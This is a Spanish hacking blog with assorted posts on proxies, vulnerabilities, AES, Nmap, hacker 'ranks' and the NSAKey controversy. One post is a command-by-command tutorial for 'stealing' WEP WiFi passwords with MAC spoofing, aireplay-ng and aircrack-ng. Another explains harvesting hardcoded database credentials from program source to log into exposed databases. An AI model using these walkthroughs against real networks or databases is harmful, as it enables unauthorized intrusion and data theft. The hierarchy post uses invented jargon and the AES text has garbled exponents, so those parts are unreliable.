y
Recibe las actualizaciones directo a tu correo
Mostrando entradas con la etiqueta Mundo hack. Mostrar todas las entradas
Mostrando entradas con la etiqueta Mundo hack. Mostrar todas las entradas

viernes, 4 de noviembre de 2011

Code Google

Hablaremos de "Code search"

A diferencia del popular Google podemos utilizar Google code search, que tiene la diferencia de que puedes acceder directamene a las lineas de código publicas


Es comoda para aquellos que desean programar o dominar las estructuras webs


www.Google. com/codesearch

lunes, 31 de enero de 2011

Firewall

1. UltraSurf ( Link )

UltraSurf es el producto de software insignia de UltraReach para Internet de lucha contra la censura. Permite a los usuarios dentro de los países con fuerte censura en Internet para visitar sitios web públicos en el mundo con seguridad y libertad. Permite a los usuarios ver cualquier página web libremente lo mismo que con el navegador habitual mientras busca automáticamente los servidores proxy de mayor velocidad en el fondo.

2. GPass ( Link )

Ocultar su dirección IP durante la navegación por Internet. Soporte de audio streaming o vídeo, correo electrónico, mensajería instantánea, gestores de descarga, etc Rotura por el bloqueo de Internet. Fácil de usar interfaz gráfica de usuario.

3. FreeGate ( Link )

FreeGate es un software de cliente de lucha contra la censura de Internet seguro y más rápido. Usuarios acceder a sitios web en el extranjero lo más rápido que sus seres locales. No requiere instalación o cambio en la configuración del sistema. FreeGate trabaja en conjunto con DynaWeb, un sistema de proxy de la red P2P-como.

4. Jardín GTunnel ( Link )

GTunnel es una aplicación para Windows que funciona como un local de un servidor HTTP o SOCKS. Después de configurar proxy para GTunnel en el navegador web u otras aplicaciones de Internet, el tráfico pasará a través de GTunnel y nuestra granja de servidores antes de que llegue a su destino original.

5. JAP ( Link )

JAP permite navegar por Internet de forma anónima y unobservably. En lugar de conectar directamente a un servidor web, los usuarios tomar un desvío, la conexión con el cifrado a través de varios intermediarios, mezcla llamada. JAP utiliza una secuencia predeterminada para las mezclas. Esta secuencia de vinculados mezcla se denomina cascada de mezcla. Los usuarios pueden elegir entre cascadas mezcla diferente.

6. La Libertad ( Link )

Sus servicios Libertad hace accesible lo que es inaccesible para usted, y que oculta su dirección de red desde los que no necesitan saber. Convierte tu propio PC en un proxy sin censura, la web un proxy anónimo y sin censura, CALCETINES anónimo que sus aplicaciones pueden utilizar, e incluso puede que puedas estar conectado a Internet como si estuviera usando un DSL o de cable sin restricciones.

7. Hopster ( Link )

Hopster es todo acceso a Internet sobre abierto, seguro y sin censura. En el hogar, escuelas, universidades y oficinas en todo el mundo, incluso en países donde la libertad de expresión es un desafío político. Ocultar su dirección IP real y protegerse de los curiosos y los aspirantes a los piratas informáticos.

8. Freenet ( Link )

Freenet es un software gratuito que te permite publicar y obtener información en Internet sin temor a la censura. Para lograr esta libertad, la red es totalmente descentralizada y los editores y consumidores de información son anónimos. Sin el anonimato no puede haber verdadera libertad de expresión, y sin la descentralización de la red será vulnerable a los ataques.

9. Tor ( Link )

Tor es un proyecto de software que le ayuda a defenderse contra el análisis de tráfico, una forma de vigilancia que amenaza la libertad personal y la privacidad, la confidencialidad en los negocios y relaciones, y la seguridad del Estado. Tor trabaja con muchas de sus aplicaciones existentes, incluyendo navegadores web, clientes de mensajería instantánea, acceso remoto, y otras aplicaciones basadas en el protocolo TCP.

10. Hotspot Shield ( Link )

HotSpot Shield crea una conexión segura de red privada virtual (VPN) a través de la conexión que le permite eludir cualquier proveedor de Internet y servidores de seguridad le permite visitar incluso los sitios web que están bloqueados por su proveedor de Internet. También se puede utilizar para visitar los sitios web que están específicamente destinados a los usuarios de EE.UU. por ejemplo, Pandora, Hulu, etc

Estas herramientas también pueden ser utilizados por estudiantes y trabajadores en sus escuelas / colegios y oficinas, respectivamente, para eludir los firewalls de red.

lunes, 6 de diciembre de 2010

Vulneravilidad

"Errare humanum est" (" Errar es humano.")
Marcus Tullius Cicero, filósofo, estadista y escritor romano





"Errar es humano, pero hacer las cosas realmente mal, es necesario usar un ordenador"
Paul Ehrlich



El término ‘vulnerabilidad’ es se menciona a menudo en conexión con la seguridad de los ordenadores en muchos diferentes contextos.



En su sentido más amplio, el término ‘vulnerabilidad’ se refiere a la violación de una política de seguridad . Esto puede deberse a reglas de seguridad inadecuadas o a problemas dentro del mismo software. En teoría , todos los sistemas de ordenadores tienen vulnerabilidades, de cuya seriedad depende que sean o no usados para causar un daño al sistema.



Han habido muchos intentos de definir claramente el término ‘vulnerabilidad’ y separar los dos significados. MITRE, un grupo de investigación y desarrollo fundado en Estados Unidos, que se concentra en el análisis y la solución de situaciones críticas de seguridad. El grupo propone las siguientes definiciones:



Según la Terminología de MITRE's CVE :



[...] Una vulnerabilidad universal es un estado en un sistema de ordenadores o un grupo de sistemas que:

permite que un atacante ejecute órdenes como otro usuario
permite que un atacante tenga acceso a los datos de acceso restringido
permite que un atacante hacerse pasar por otra entidad
permite que un atacante conduzca un denegación de servicio.


MITRE cree que cuando un ataque se hace posible por una debilidad o una política de seguridad inapropiada, es mejor descrita como "exposición"



Una exposición es un estado en un sistema de ordenadores ( o grupo de sistemas) que no es una vulnerabilidad universal, pero:

permite que un atacante reúna información sobre las actividades del sistema
permite que un atacante disimule sus actividades
Incluye una función que se comporta como se espera, pero puede ser fácilmente puesta en peligro
Es un punto primario de entrada que un atacante puede intentar usar para obtener acceso al sistema o a los datos.
Es considerado un problema de acuerdo a alguna política de seguridad razonable.


Cuando se trata de obtener acceso no autorizado al sistema, un intruso usualmente primero realiza un escaneo de rutina (o investigación) del blanco, reúne cualquier dato ‘expuesto’ y luego explota las debilidades o vulnerabilidades de las políticas de seguridad.

Por esta razón, las vulnerabilidades y exposiciones son aspectos importantes que deben ser considerados cuando se asegura un sistema contra el acceso no autorizado.

sábado, 18 de septiembre de 2010

Bases de datos

Bueno gente el concepto es mas fácil de lo que parece, antes que nada tenemos que tener un concepto medio medio-alto de sql y programación en general si no bueno espero que consigan algún manual y después se fijen en este post.

1) Buscando objetivos: La joda es la siguiente, todo programa al conectarse a una base de datos sql o access lo hace mediante lo que se denomina STRING DE CONEXIÓN, esto es básicamente una cadena de caracteres en la cual aparecen con detalle el usuario , contraseña y host de la base de datos. Tenemos que buscar estos objetivos utilizando los métodos conocidos.

2) Leyendo el código: Cuando nos encontremos con el fuente del programa tendremos que buscar la siguiente declaración (por ejemplo en un VB6.0)

Set mdb = New ADODB.Connection
mdb.Open "DRIVER={PostgreSQL+};SERVER=XXX;port=XXX;DATABASE=XXX;UID=postgres;PWD=postgres;", "postgres", "postgres"

3) Si hemos encontrado ese código bueno significa que vamos bien, lo siguiente es entender que tipo de host tiene esta base por ejemplo localhost es solo para conexiones desde el host tmb para ip del estilo 192.XXX.XXX.XXX , lo que nos interesa es el bug siguiente una ip del estilo 200.XXX.XXX.XXX o algun texto indicativo de que se puede conectar desde cualquier pc a esta base de datos mediante esa contraseña y nombre de usuario.

4) Por ultimo nos bajamos cualquier programita para conectarnos a una base de datos y listo a disfrutar

sábado, 21 de agosto de 2010

Algoritmos

Hoy os hablare de uno de los algoritmos que comprenden internet

Advanced Encryption Standard (AES), también conocido como Rijndael (pronunciado "Rain Doll" en inglés), es un esquema de cifrado por bloques adoptado como un estándar de cifrado por el gobierno de los Estados Unidos. El AES fue anunciado por el Instituto Nacional de Estándares y Tecnología (NIST) como FIPS PUB 197 de los Estados Unidos (FIPS 197) el 26 de noviembre de 2001 después de un proceso de estandarización que duró 5 años (véase proceso de Advanced Encryption Standard para más detalles). Se transformó en un estándar efectivo el 26 de mayo de 2002. Desde 2006, el AES es uno de los algoritmos más populares usados en criptografía simétrica.
El cifrador fue desarrollado por dos criptólogos belgas, Joan Daemen y Vincent Rijmen, ambos estudiantes de la Katholieke Universiteit Leuven, y enviado al proceso de selección AES bajo el nombre "Rijndael".


Historia

En 1997, el Instituto Nacional de Normas y Tecnología (NIST) decidió realizar un concurso para escoger un nuevo algoritmo de cifrado capaz de proteger información sensible durante siglo XXI. Este algoritmo se denominó Advanced Encryption Standard (AES).
El 2 de enero de 1997 el NIST anunció su intención de desarrollar AES, con la ayuda de la industria y de la comunidad criptográfica. El 12 de septiembre de ese año se hizo la convocatoria formal. En esta convocatoria se indicaban varias condiciones para los algoritmos que se presentaran:
Ser de dominio público, disponible para todo el mundo.
Ser un algoritmo de cifrado simétrico y soportar bloques de, como mínimo, 128 bits.
Las claves de cifrado podrían ser de 128, 192 y 256 bits.
Ser implementable tanto en hardware como en software.
El 20 de agosto de 1998 el NIST anunció los 15 algoritmos admitidos en la primera conferencia AES:
CAST-256 (Entrust Technologies, Inc.)
CRYPTON (Future Systems, Inc.)
DEAL (Richard Outerbridge, Lars Knudsen)
DFC (CNRS – Centre National pour la Recherche Scientifique – Ecole Normale Superieure)
E2 (NTT – Nippon Telegraph and Telephone Corporation)
FROG (TecApro International, S.A.)
HPC (Rich Schroeppel)
LOKI97 (Lawrie Brown, Josef Pieprzyk, Jennifer Seberry)
MAGENTA (Deutsche Telekom AG)
MARS (IBM)
RC6 (RSA Laboratories)
RIJNDAEL (John Daemen, Vincent Rijmen)
SAFER+ (Cylink Corporation)
SERPENT (Ross Anderson, Eli Biham, Lars Knudsen)
TWOFISH (Bruce Schneier, John Kelsey, Doug Whiting, David Wagner, Chris Hall, Niels Ferguson)
La segunda conferencia AES tuvo lugar en marzo de 1999 donde se discutieron los análisis a los que fueron sometidos los candidatos por la comunidad criptográfica internacional. Se admitieron comentarios hasta el 15 de abril. El NIST decidió en agosto de 1999 cuales serían los 5 finalistas:
MARS
RC6
RIJNDAEL
SERPENT
TWOFISH
Estos algoritmos fueron sometidos a una segunda revisión, más exhaustiva, que duró hasta el 15 de mayo de 2000. Durante este periodo el NIST admitió análisis de los algoritmos finalistas.
Durante los días 13 y 14 de abril de 2000 tuvo lugar la tercera conferencia AES donde se discutieron los últimos análisis de los algoritmos finalistas. En ella estuvieron presentes los desarrolladores de los algoritmos finalistas.
El 15 de mayo de 2000 finalizó el periodo público de análisis. El NIST estudió toda la información disponible para decidir cual sería el algoritmo ganador. El 2 de octubre de 2000 se votó cual sería el algoritmo que finalmente ganaría el concurso. El resultado fue el siguiente:
MARS: 13 votos
RC6: 23 votos
RIJNDAEL: 86 votos
SERPENT: 59 votos
TWOFISH: 31 votos
El algoritmo Rijndael ganó el concurso y en noviembre de 2001 se publicó FIPS 197 donde se asumía oficialmente.
[editar]Desarrollo

Rijndael fue un refinamiento de un diseño anterior de Daemen y Rijmen, Square; Square fue a su vez un desarrollo de Shark.
Al contrario que su predecesor DES, Rijndael es una red de sustitución-permutación, no una red de Feistel. AES es rápido tanto en software como en hardware, es relativamente fácil de implementar, y requiere poca memoria. Como nuevo estándar de cifrado, se está utilizando actualmente a gran escala.


Descripción del cifrado



En la fase de SubBytes, cada byte en el state es reemplazado con su entrada en una tabla de búsqueda fija de 8 bits, S; bij = S(aij).


En el paso ShiftRows, los bytes en cada fila del state son rotados de manera cíclica hacia la izquierda. El número de lugares que cada byte es rotado difiere para cada fila.


En el paso MixColumns, cada columna del state es multiplicada por un polinomio constante c(x).


En el paso AddRoundKey, cada byte del state se combina con un byte de la subclave usando la operación XOR (⊕).
Estrictamente hablando, AES no es precisamente Rijndael (aunque en la práctica se los llama de manera indistinta) ya que Rijndael permite un mayor rango de tamaño de bloques y longitud de claves; AES tiene un tamaño de bloque fijo de 128 bits y tamaños de llave de 128, 192 ó 256 bits, mientras que Rijndael puede ser especificado por una clave que sea múltiplo de 32 bits, con un mínimo de 128 bits y un máximo de 256 bits.
La mayoría de los cálculos del algoritmo AES se hacen en un campo finito determinado.
AES opera en una matriz de 4×4 bytes, llamada state (algunas versiones de Rijndael con un tamaño de bloque mayor tienen columnas adicionales en el state).



Pseudo-código
Expansión de la clave usando el esquema de claves de Rijndael.
Etapa inicial:
AddRoundKey
Rondas:
SubBytes — en este paso se realiza una sustitución no lineal donde cada byte es reemplazado con otro de acuerdo a una tabla de búsqueda.
ShiftRows — en este paso se realiza una transposición donde cada fila del «state» es rotada de manera cíclica un número determinado de veces.
MixColumns — operación de mezclado que opera en las columnas del «state», combinando los cuatro bytes en cada columna usando una transformación lineal.
AddRoundKey — cada byte del «state» es combinado con la clave «round»; cada clave «round» se deriva de la clave de cifrado usando una iteración de la clave.
Etapa final:
SubBytes
ShiftRows
AddRoundKey



En el paso ShiftRows, los bytes en cada fila del state son rotados de manera cíclica hacia la izquierda. El número de lugares que cada byte es rotado difiere para cada fila.



En el paso MixColumns, cada columna del state es multiplicada por un polinomio constante c(x).

Etapa SubBytes- Substitución de bits
En la etapa SubBytes, cada byte en la matriz es actualizado usando la caja-S de Rijndael de 8 bits. Esta operación provee la no linealidad en el cifrado. La caja-S utilizada proviene de la función inversa alrededor del GF(28), conocido por tener grandes propiedades de no linealidad. Para evitar ataques basados en simples propiedades algebraicas, la caja-S se construye por la combinación de la función inversa con una transformación afín inversible. La caja-S también se elige para evitar puntos estables (y es por lo tanto un derangement), y también cualesquiera puntos estables opuestos.
La caja-S es descrita en mayor profundidad en el artículo caja-S de Rijndael.
[editar]Etapa ShiftRows-Desplazar filas
El paso ShiftRows opera en las filas del state; rota de manera cíclica los bytes en cada fila por un determinado offset. En AES, la primera fila queda en la misma posición. Cada byte de la segunda fila es rotado una posición a la izquierda. De manera similar, la tercera y cuarta filas son rotadas por los offsets de dos y tres respectivamente. De esta manera, cada columna del state resultante del paso ShiftRows está compuesta por bytes de cada columna del state inicial. (variantes de Rijndael con mayor tamaño de bloque tienen offsets distintos)



En el paso AddRoundKey, cada byte del state se combina con un byte de la subclave usando la operación XOR (⊕).

Etapa MixColumns- Mezclar columnas
En el paso MixColumns, los cuatro bytes de cada columna del state se combinan usando una transformación lineal inversible. La función MixColumns toma cuatro bytes como entrada y devuelve cuatro bytes, donde cada byte de entrada influye todas las salidas de cuatro bytes. Junto con ShiftRows, MixColumns implica difusión en el cifrado. Cada columna se trata como un polinomio GF(28) y luego se multiplica el módulo x4 + 1 con un polinomio fijo c(x). El paso MixColumns puede verse como una multiplicación matricial en el campo finito de Rijndael.
[editar]Etapa AddRoundKey- Cálculo de las subclaves
En el paso AddRoundKey, la subclave se combina con el state. En cada ronda se obtiene una subclave de la clave principal, usando la iteración de la clave; cada subclave es del mismo tamaño del state. La subclave se agrega combinando cada byte del state con el correspondiente byte de la subclave usando XOR.
[editar]Optimización del cifrado
En sistemas de 32 bits o de mayor tamaño de palabra, es posible acelerar la ejecución de este algoritmo mediante la conversión de las transformaciones SubBytes, ShiftRows y MixColumn en tablas. Se tienen cuatro tablas de 256 entradas de 32 bits que utilizan un total de 4 kilobytes (4096 bytes) de memoria, un Kb cada tabla. De esta manera, una ronda del algoritmo consiste en 16 búsquedas en una tabla seguida de 16 operaciones XOR de 32 bits en el paso AddRoundKey. Si el tamaño de 4 kilobytes de la tabla es demasiado grande para una plataforma determinada, la operación de búsqueda en la tabla se puede realizar mediante una sola tabla de 256 entradas de 32 bits mediante el uso de rotaciones circulares.
[editar]Seguridad

Hasta 2005, no se ha encontrado ningún ataque exitoso contra el AES. La Agencia de Seguridad Nacional de los Estados Unidos (NSA) revisó todos los finalistas candidatos al AES, incluyendo el Rijndael, y declaró que todos ellos eran suficientemente seguros para su empleo en información no clasificada del gobierno de los Estados Unidos. En junio de 2003, el gobierno de los Estados Unidos anunció que el AES podía ser usado para información clasificada:
"The design and strength of all key lengths of the AES algorithm (i.e., 128, 192 and 256) are sufficient to protect classified information up to the SECRET level. TOP SECRET information will require use of either the 192 or 256 key lengths. The implementation of AES in products intended to protect national security systems and/or information must be reviewed and certified by NSA prior to their acquisition and use.1 "
Este hecho marca la primera vez que el público ha tenido acceso a un cifrador aprobado por la NSA para información super secreta (TOP SECRET). Es interesante notar que muchos productos públicos usan llaves de 128 bits por defecto; es posible que la NSA sospeche de una debilidad fundamental en llaves de este tamaño, [cita requerida] o simplemente prefieren tener un margen de seguridad para documentos super secretos (que deberían conservar la seguridad durante décadas en el futuro).
El método más común de ataque hacia un cifrador por bloques consiste en intentar varios ataques sobre versiones del cifrador con un número menor de rondas. El AES tiene 10 rondas para llaves de 128 bits, 12 rondas para llaves de 192 bits, y 14 rondas para llaves de 256 bits. Hasta 2005, los mejores ataques conocidos son sobre versiones reducidas a 7 rondas para llaves de 128 bits, 8 rondas para llaves de 192 bits, y 9 rondas para llaves de 256 bits (Ferguson et al, 2000).
Algunos criptógrafos muestran preocupación sobre la seguridad del AES. Ellos sienten que el margen entre el número de rondas especificado en el cifrador y los mejores ataques conocidos es muy pequeño. El riesgo es que se puede encontrar alguna manera de mejorar los ataques y de ser así, el cifrado podría ser roto. En el contexto criptográfico se considera "roto" un algoritmo si existe algún ataque más rápido que una búsqueda exhaustiva (ataque por fuerza bruta). De modo que un ataque contra el AES de llave de 128 bits que requiera 'sólo' 2120 operaciones sería considerado como un ataque que "rompe" el AES aun tomando en cuenta que por ahora sería un ataque irrealizable. Hasta el momento, tales preocupaciones pueden ser ignoradas. El ataque de fuerza bruta más largamente publicitado y conocido ha sido contra una clave de 64 bits RC5 por distributed.net.
Otra preocupación es la estructura matemática de AES. A diferencia de la mayoría de cifradores de bloques, AES tiene una descripción matemática muy ordenada.2 3 Esto no ha llevado todavía a ningún ataque, pero algunos investigadores están preocupados que futuros ataques quizá encuentren una manera de explotar esta estructura.
En 2002, un ataque teórico, denominado "ataque XSL", fue anunciado por Nicolas Courtois y Josef Pieprzyk, mostrando una potencial debilidad en el algoritmo AES. Varios expertos criptográficos han encontrado problemas en las matemáticas que hay por debajo del ataque propuesto, sugiriendo que los autores quizá hayan cometido un error en sus estimaciones. Si esta línea de ataque puede ser tomada contra AES, es una cuestión todavía abierta. Hasta el momento, el ataque XSL contra AES parece especulativo; es improbable que nadie pudiera llevar a cabo en la práctica este ataque.
[editar]Ataques de canal auxiliar
Los ataques de canal auxiliar no atacan al cifrador en sí, sino a las implementaciones del cifrador en sistemas que revelan datos inadvertidamente.
En abril de 2005, Daniel J. Bernstein anunció un ataque temporizado de cache4 que solía romper un servidor a medida que usaba el cifrado AES para OpenSSL. Este servidor fue diseñado para dar la mayor cantidad de información acerca de los tiempos de ejecución como fuera posible, y el ataque requería cerca de 200 millones de ficheros de texto en claro. Se dice que el ataque no es práctico en implementaciones del mundo real;5 Bruce Schneier llamó a esta investigación un "bonito ataque de tiempos".6
En octubre de 2005, Adi Shamir y otros dos investigadores presentaron un artículo demostrando varios ataques de tiempos de cache7 contra AES. Uno de los ataques obtuvo una clave de AES entera después de tan sólo 800 escrituras, en 65 milisegundos. Este ataque requiere que el atacante pueda ejecutar programas en el mismo sistema que realiza el cifrado de AES.

Y esto seria todo espero que os guste

Y si es posible dadme temas para publicar en mi blog

martes, 20 de julio de 2010

Nmap


Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos escrito originalmente por Gordon Lyon (más conocido por su alias Fyodor Vaskovich). Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática.

Características

Descubrimiento de servidores: Identifica computadoras en una red, por ejemplo listando aquellas que responden ping.1
Identifica puertos abiertos en una computadora objetivo.
Determina qué servicios está ejecutando la misma.
Determinar qué sistema operativo y versión utiliza dicha computadora, (esta técnica es también conocida como fingerprinting).
Obtiene algunas características del hardware de red de la máquina objeto de la prueba.

Aplicaciones típicas

Ha llegado a ser uno de las herramientas imprescindibles para todo administrador de sistema, y es usado para pruebas de penetración y tareas de seguridad informática en general.
Como muchas herramientas usadas en el campo de la seguridad informática, es también una herramienta muy utilizada para hacking.
Los administradores de sistema pueden utilizarlo para verificar la presencia de posibles aplicaciones no autorizadas ejecutándose en el servidor, así como los crackers pueden usarlo para descubrir objetivos potenciales.
Nmap permite hacer el inventario y el mantenimiento del inventario de computadores de una red. Se puede usar entonces para auditar la seguridad de una red, mediante la identificación de todo nuevo servidor que se conecte: [1]
Nmap es a menudo confundido con herramientas para verificación de vulnerabilidades como Nessus. Nmap es difícilmente detectable, ha sido creado para evadir los Sistema de detección de intrusos (IDS) e interfiere lo menos posible con las operaciones normales de las redes y de las computadoras que son analizadas.

Entornos de trabajo

Nmap puede funcionar en sistemas operativos como las diversas variables de Unix (Solaris, Mac OS X, y BSD), GNU/Linux y también en otros OS como Microsoft Windows y AmigaOS. [2].

Interfaces gráficas

La interfaz usuario oficial es nmapfe, escrita originalmente por Zach Smith, y Nmap lo integra desde la versión 2.2 [3].
Otras interfaces basadas en navegadores Web existen. Algunos ejemplos son LOCALSCAN [4], nmap-web [5], y Nmap-CGI [6].
NMapW [7] es una interfaz sobre Microsoft Windows escrita por Syhunt.
NMapWin [8] es otra interfaz para Windows. Sin embargo, no ha sido actualizada desde la versión 1.4.0 lanzada en Junio de 2003.
Una plataforma completa Nmap con capacidades para funcionar sobre distintos OS se encuentra en UMIT. Su autor es Adriano Monteiro Marques.

Historia

Nmap apareció en septiembre de 1997, en un artículo de la revista Phrack Magazine. El código fuente venía incluido. [9]
Otros desarrollos incluyeron mejores algoritmos para determinar qué servicios estaban funcionando, reescritura de código de C a C++, se agregaron tipos de scan adicionales y nuevos protocolos como IPv6.
Nmap 3.5 apareció en febrero de 2004, y la versión 4.0 en enero de 2006, con cientos de mejoras.
Los cambios de cada versión se pueden encontrar en el listado de cambios de Nmap.

bueno y esto es todo asta otra chao

sábado, 29 de mayo de 2010

Rango hacker

Hoy tratare la Jerarquia del mundo hacker

Bien como todos sabreis ser hacker, no es tarea para cualquiera persona y no cualquiera puede ser hacker. Como digo yo: saber manejar el google no te hacer ser una persona que sabe andar por internet al igual que que controlar cuatro cosas de un ordenador no te hace ser un hacker.

Jerarquia hacker:

Los hackers se dividen en 4 grupos:

1º grupo: Script Kiddies/ Lambber= Este es el grupo mas bajo que existe en la comunidad hacker a este grupo pertenecen las personas que descargan programas y piratean en linea en otras palabras (Pateticos Usuarios)

2º grupo: Newbie= Los que pertenecen a este grupo son los hackers principiantes o novatos es decir personas que tiene conocimientos de el manejo de los ordenadores y los sistemas de hackeo y rebiente de los ordenadores o redes

3º grupo: Hackers= En este grupo estan los autenticos hackers para concretar mas los que llegan hay saben todo lo necesario para hackear con exito un orednador o red

Este grupo de divide en dos grupos o subgrupos:

los "hat black" tambien llamados sombreros negros que en otras palabras son los hacker que aplican sus conocimientos de la informatica para dañar, burlar o reventar las estructuras de la red o los ordenadores

los "hat white" tambien llamados sombreros blancos que son los hacker que protejen la informatica de los atacades de los sombreros negros y aplican sus conociminetos para hacer mas seguro internet

4º grupo: Gurus= Este es el escalon mas alto de los hacker en el estan los mas grandes hacker del mundo en otras palabras aqui solo estan los mejores de los mejores. Hacker capaces de burlar la seguridad de los organimos mas seguros del mundo y capaces de borrar todo rastro de sus ataques

Bueno y esto seria todo es el mundo de los hacker de los ordenadores ya que tambien hay hacker de otras especialidades como:

La telefonia= "Phonefear"
Los atakes bancarios= "Phigin"
Los creadores de virus= "GusanFear"
Los especialistas en penetrar en los ordenadores="Piratas Informaticos"

bueno y esto es todo espero que os guste si no dadme sugerencias estoy abierto a todo

un saludo

martes, 25 de mayo de 2010

Como sacar o "robar" contraseñas WiFi con Backtrack 3

El día de hoy, vamos a ver como sacar contraseñas WiFi, en este caso una contraseña con encriptación WEP.

Lo primero que debemos hacer es descargar Backtrack 3. Descagar Aquí
Luego grabamos la imagen en un CD, para esto podemos utilizar un programa gratuito como ISO recorder 2.0. Descargar Aquí
Una vez con el cd grabado, reiniciamos el computador y ponemos el cd para que arranque BackTrack 3.



4 Luego abrimos una consola (shell) con el icono que está al lado de la “K” de la esquina inferior izquierda.
5 Detenemos nuestra tarjeta de Red (En este caso una Atheros por lo tanto es ath0)
Escribimos: airmon-ng stop ath0



6 Para continuar, cambiamos nuestra MAC (Media Access Control), para ser “ocultados”.
Escribimos: macchanger -m 11:22:33:44:55:66 wifi0



7 Iniciamos nuestra tarjeta de Red en modo Monitor.
Escribimos: airmon-ng start wifi0



8 Ahora nos aseguraremos que todo vaya bien, revisaremos la MAC cambiada y que la tarjeta esté en modo Monitor.
Escribimos: iwconfig



9 Ahora, a revisar si hay redes cerca nuestro.
Escribimos: airodump-ng wifi0



10 Anotemos datos muy importantes de la pantalla anterior, como lo son:
La MAC de la red (BSSID)
El canal por donde se transmite la red WiFi (CH)
El nombre de la red (ESSID)

11 Presionamos CTRL+C y así se detendrá la búsqueda de redes cercanas.
Luego escribimos: airodump-ng –channel X –write XXX ath0
x= Canal (CH)
xxx= Nombre para guardar el archivo con información, pongan cualquier nombre, en este caso “pass”
Para este ejemplo sería: airodump-ng –channel 5 –write pass ath0



12 Ahora abrimos otra ventana de consola (Shell).
Escribimos lo siguiente: aireplay-ng -3 -b (mac de la red) -h (nuestra mac) ath0



13 Volvemos a abrir otra ventana de consola (Shell)
Ahora escribimos: aireplay-ng -1 0 -e (ESSID) -a (BSSID) -h (nuestra mac) ath0



14 Ahora debemos esperar a que se obtenga la información suficiente como para saber la contraseña de la red, para esto tenemos que esperar a que los ARP sean altos (más de 50.000).

15 Una vez que tengamos suficiente información (lo sabrás con experiencia, muchos intentos, todo depende de la dificultad de la contraseña), cancelamos lo que teníamos andando presionando CTRL+C en cada consola (Shell).

16 Luego iniciamos otro programa para que desencripte la contraseña.
Escribimos: Aircrack-ng pass-01.cap



Finalmente, ya tenemos la contraseña de la red. BackTrack 3 ha funcionado.

Aclaraciones: Debido a problemas con mi máquina virtual, no he podido poner mis propias imágenes, agradezco este tutorial encontrado en Internet. A pesar de que no son mis imágenes, si he hecho estos pasos pero con una tarjeta Ralink.

Cualquier duda escribe comentarios o lo ke sea
saludos

Vínculo de descarga: DESCARGAR BACKTRACK 3

lunes, 10 de mayo de 2010

COMO PERTURBAR A ECHELON



La llave de windows

LA LLAVE QUE MICROSOFT LE DIO A LA NSA ( Seguridad Nacional) Para que Lo espien ?

Logo de la NSA

RECOMENDAMOS LEER Tambien :

Como Bloquear a Echelón Sistemas de Palabras que complican al sistema de Espionaje , si todos los usan se hace casi imposible la ceteza del espionaje.-


Reproducción del artículo aparecido en Ciberpaís el 9.9.1999

.

....ANTES, UN COMENTARIO

Las noticias trascendidas sobre la posibilidad de que Microsoft y el Gobierno de U.S.A. estuvieran de acuerdo para que este último le facilitara el acceso a los equipos de aquellos usuarios que utilicen sus sistemas mediante una "puerta trasera", como suelen llamarle los informáticos, plantea como mínimo algunas interrogantes bastante desconcertantes.

La primera, y resulta sorprendente, es la que se refiere al nombre de la propia "clave" de acceso, la cual, incomprensiblemente, lleva "nombre y apellido". Me consta que el ser humano es un individuo impredecible pero, supongo que estarán de acuerdo conmigo en que, en medio de una operación secreta que, no se olvide, pone en riesgo la fiabilidad de Microsoft, se identifique al "partner" de la operación asignando una clave que lleva sus siglas...

Como si no fuera suficiente, la clave se identifica como tal incluyendo en su denominación la palabra "key", que es precisamente la identificación corriente de las contraseñas. ¿No resulta en su conjunto exageradamente obvio y chapucero?

La otra cuestión que no se ve en absoluto transparente es por qué causa una información de esta trascendencia y que se conoce desde hace casi dos años sale a la luz recién ahora.

Para colmo, la noticia incluye un comentario, sin identificar la fuente, en el que se asegura que, la única novedad, es el nombre de la clave ya que -siempre según el autor de dicho comentario- se trata de una vieja noticia, incluido el hecho de que existía la disponibilidad de cargar módulos criptográficos ajenos a los de Microsof.

Uno vuelve a preguntarse: ¿Qué c... nos ha vendido Microsoft?

El verdadero significado de todo esto no tiene porqué ser el que parece más evidente. Es más, podría estar perfectamente programado desde el principio para que fuera descubierta y para que produjera el efecto que ha producido. La verdad, no me sorprendería nada que en los próximos días quedara demostrado que no ha sido más que una "falsa alarma": con tres o cuatro jugadas como esta el usuario terminaría por no hacer ni caso del tema y quedaría totalmente indefenso ante una acción verdaderamente intencionada en dirección al espionaje.

Lo más preocupante de todo esto es que pasa el tiempo y el porcentaje de paranoicos que no cejan de esforzarse por espiar, seleccionar, clasificar, controlar y oprimir al prójimo va en franco aumento. No se si es porque los recursos informáticos se lo han puesto en bandeja o porque se hacen más visibles que antes, pero el número parece ascender en función geométrica. El lector verá qué es lo que hace al respecto.

.



Lo que es seguro es que nos espían

R.C.
Los expertos no se ponen de acuerdo sobre si la función de la clave NSAkey en Windows es facilitar una puerta tasara al espionaje norteamericano. De lo que nadie duda es de que el Gobierno norteamericano espía sistemáticamente la red. 120 satélites escanean las líneas de comunicación mundiales y almacena, por ejemplo, los mensajes de los grupos de noticias de la red durante noventa días para analizar los sospechosos. La NSA tenía , 1995, colocados programas "husmeadores" en nueve de los principales puntos de intercambio de la red de Internet para acceder a su tráfico. El programa Echelon, de espionaje universal por parte de EE UU, recoge la necesidad de tener puertas abiertas en los programas de distribución internacional . Si Echelon tiene estos altos niveles de intromisión ¿para qué quiere una clave de Windows? ¿En caso de necesidad no se la suministraría Microsoft? se preguntan los que dudan de que la NSAkey sea accesible a los espías. En favor de la sospecha está que apenas nadie se explica para qué quiere Microsoft una segunda clave.

Otro motivo de debate es la persecución judicial de Microsoft. Si el Gobierno de los EE UU tuviera en la difusión mundial de Windows una puerta para su espionaje, para qué querría cercenarla. La respuesta sería que la iniciativa de los estados, apremiados por el "lobby" anti Microsoft, tiene otra lógica, y desconocería los servicios patrióticos supuestamente prestados. Aunque a la hora de cerrar esta edición, crecían las dudas sobre que Microsoft hubiera dado un acceso al espionaje en su sistema operativo, la noticia calentó la red contra la política de seguridad de EE UU.

.

Alarma en la red por el espionaje informático del Gobierno norteamericano
Los expertos polemizan sobre si Windows tiene un "puerta trasera" a disposición de los espías.

Mercè Molist
La red vivió el pasado fin de semana en estado de alarma. Y es que el tema se las traía: un clave criptográfica con el infausto nombre NSAKey, que viene de serie en todos los sistemas operativos de Windows. NSA son la siglas de la agencia de seguridad nacional norteamericana dedicada al espionaje y la existencia de esta clave se interpretó como un pacto con Microsoft, según el cual el fabricante de Windows les abría una puerta trasera para facilitar su tarea de espionaje y poder entrar en cualquier sistema operativo.

